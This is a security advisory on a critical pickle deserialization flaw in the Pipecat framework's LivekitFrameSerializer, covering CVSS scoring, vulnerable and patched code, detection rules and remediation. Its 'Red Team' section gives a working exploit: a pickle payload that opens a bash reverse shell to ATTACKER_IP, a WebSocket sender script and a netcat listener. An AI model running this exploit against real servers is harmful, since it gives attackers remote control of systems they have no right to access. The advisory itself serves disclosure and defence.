CVE-2025-62373

Executive Summary

CVE-2025-62373 is a critical Remote Code Execution (RCE) vulnerability in the Pipecat open-source Python framework, affecting versions 0.0.41 through 0.0.93. The flaw resides in the LivekitFrameSerializer class, an optional and non-default component intended for LiveKit integration. The class's deserialize() method unsafely uses Python's pickle.loads() on data received from WebSocket clients without any validation or sanitization. An attacker can send a malicious pickle payload to achieve arbitrary code execution on the server. The vulnerability has a CVSS score of 9.8 (Critical) and is patched in version 0.0.94. The best mitigation is to stop using the vulnerable serializer and upgrade to the latest version.

Supply Chain & Package Security

This vulnerability affects the Pipecat Python package available on PyPI. Users who have installed Pipecat via pip install pipecat and are using versions between 0.0.41 and 0.0.93 are at risk. The vulnerable component is an optional serializer, meaning it is not loaded by default but can be imported and used. Organizations should audit their dependencies and ensure they are not importing LivekitFrameSerializer from pipecat.serializers.livekit. The fix is to upgrade to version 0.0.94 or later, which removes the vulnerable class.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted WebSocket message.
• Privileges Required (PR): None (N) – No authentication or privileges are needed.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components beyond the vulnerable one.
• Confidentiality (C): High (H) – Full system compromise, leading to data exfiltration.
• Integrity (I): High (H) – Attacker can modify system files and data.
• Availability (A): High (H) – Attacker can disrupt services or cause denial of service.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full server compromise. The EPSS score is 0.0% due to the recent disclosure, but exploitation is expected to increase as PoC code becomes available.

Deep Dive & Mechanics

The vulnerability is a classic Python pickle deserialization flaw. The LivekitFrameSerializer class is designed to serialize and deserialize frames for LiveKit integration. The deserialize() method receives raw bytes from a WebSocket client and passes them directly to pickle.loads().

Vulnerable Code Path:

• File: src/pipecat/serializers/livekit.py
• Line: ~73
• Function: deserialize(self, data: bytes) -> Frame
• Code: return pickle.loads(data)

Python's pickle.loads() is inherently unsafe when used on untrusted data. It can execute arbitrary Python code during deserialization. An attacker can craft a pickle payload that, when deserialized, executes system commands (e.g., os.system, subprocess.Popen) or imports malicious modules.

Attack Scenario:

1. The Pipecat server is configured to use LivekitFrameSerializer and listens on an external interface (e.g., 0.0.0.0:8765).
2. An attacker connects to the WebSocket endpoint and sends a malicious pickle payload.
3. The server calls pickle.loads() on the payload, triggering arbitrary code execution.
4. The attacker gains a reverse shell, installs malware, or exfiltrates data.

Why it's Critical:

• No authentication required.
• No user interaction.
• Low attack complexity.
• Full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.0.41 - 0.0.93):

# src/pipecat/serializers/livekit.py
import pickle

class LivekitFrameSerializer:
    def deserialize(self, data: bytes) -> Frame:
        # UNSAFE: Directly deserializing untrusted data
        return pickle.loads(data)

Patched Code (version 0.0.94):

# src/pipecat/serializers/livekit.py (deprecated)
# The entire LivekitFrameSerializer class has been removed.
# Users are advised to use LiveKitTransport instead.
# No pickle deserialization is performed on untrusted data.

The patch removes the vulnerable class entirely. The recommended approach is to use LiveKitTransport, which handles serialization securely using JSON or protobuf instead of pickle.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Python 3.x with pickle and websockets libraries.
• Target Pipecat server running version 0.0.41-0.0.93 with LivekitFrameSerializer enabled and listening on an external interface.

Step 1: Craft Malicious Pickle Payload Create a Python script to generate a pickle payload that executes a reverse shell or system command.

import pickle
import os
import sys

class Exploit:
    def __reduce__(self):
        # Replace with your command (e.g., reverse shell)
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(Exploit())
with open('payload.bin', 'wb') as f:
    f.write(payload)
print("Payload saved to payload.bin")

Step 2: Send Payload via WebSocket Use a WebSocket client to connect to the vulnerable server and send the payload.

import asyncio
import websockets

async def exploit():
    uri = "ws://TARGET_IP:PORT"  # Replace with target
    async with websockets.connect(uri) as websocket:
        with open('payload.bin', 'rb') as f:
            payload = f.read()
        await websocket.send(payload)
        print("Payload sent. Check your listener.")

asyncio.run(exploit())

Step 3: Receive Reverse Shell On your attacker machine, start a netcat listener:

nc -lvnp 4444

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual WebSocket connections to Pipecat servers.
• Look for large binary payloads in WebSocket messages.
• Detect pickle-related imports or deserialization attempts.

Prevention:

• Upgrade to Pipecat version 0.0.94 or later.
• Do not use LivekitFrameSerializer; migrate to LiveKitTransport.
• Restrict network access to Pipecat servers (e.g., use firewalls, VPNs).
• Implement WebSocket authentication and input validation.
• Use a Web Application Firewall (WAF) to inspect WebSocket traffic.

Hunting:

• Search for pickle.loads in Pipecat source code.
• Check for any custom serializers that use pickle.
• Review server logs for unexpected WebSocket connections or errors.

Indicators of Compromise (IOCs)

• Network IOCs:

  • WebSocket connections to Pipecat servers on unusual ports (e.g., 8765, 8080).
  • Large binary payloads in WebSocket messages (pickle data).
  • Outbound connections from Pipecat server to attacker IPs (reverse shell).

• File IOCs:

  • Presence of payload.bin or similar files on the server.
  • Modified system files (e.g., /etc/passwd, /tmp/).
  • Suspicious cron jobs or startup scripts.

• Process IOCs:

  • Unusual child processes spawned by the Pipecat process (e.g., bash, nc, python).
  • High CPU usage from pickle deserialization.

• Log IOCs:

  • WebSocket connection logs with large data frames.
  • Error logs containing pickle.UnpicklingError or similar.

Detection Engineering

YARA Rule

rule CVE_2025_62373_Pipecat_Pickle_RCE {
    meta:
        description = "Detects malicious pickle payloads targeting Pipecat LivekitFrameSerializer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62373"
    strings:
        $pickle_magic = { 80 04 95 }  // Pickle protocol 4 magic bytes
        $os_system = "os.system"
        $subprocess = "subprocess"
        $pickle_loads = "pickle.loads"
    condition:
        $pickle_magic at 0 and ($os_system or $subprocess)
}

Sigma Rule

title: CVE-2025-62373 Pipecat Pickle Deserialization RCE
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-62373 via WebSocket pickle payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: pipecat
detection:
    selection:
        EventID: 100  # Example WebSocket event ID
        DataLength: "> 1000"  # Large payloads
        DataContains: "pickle"
    condition: selection
falsepositives:
    - Legitimate large WebSocket messages (unlikely)
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-62373 Pipecat Pickle RCE Attempt"; flow:to_server,established; content:"|80 04 95|"; depth:3; content:"os.system"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Pipecat to version 0.0.94 or later: pip install --upgrade pipecat.
2. Stop using LivekitFrameSerializer – migrate to LiveKitTransport or another secure method.
3. Restrict network access – Ensure Pipecat servers are not exposed to the internet or untrusted networks. Use firewalls to limit access to trusted IPs only.
4. Audit code – Search for any usage of pickle.loads in your codebase and replace with safe alternatives (e.g., JSON, protobuf).

Long-term Mitigations:

• Implement WebSocket authentication (e.g., tokens, API keys).
• Use input validation and sanitization for all WebSocket messages.
• Apply the principle of least privilege to the Pipecat process.
• Regularly update dependencies and monitor for CVEs.
• Use a Web Application Firewall (WAF) to inspect WebSocket traffic.

Workarounds:

• If upgrading is not immediately possible, disable the LivekitFrameSerializer by not importing it.
• Use a reverse proxy (e.g., Nginx) to terminate WebSocket connections and inspect payloads.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 660B472C276771781F497A8D] */}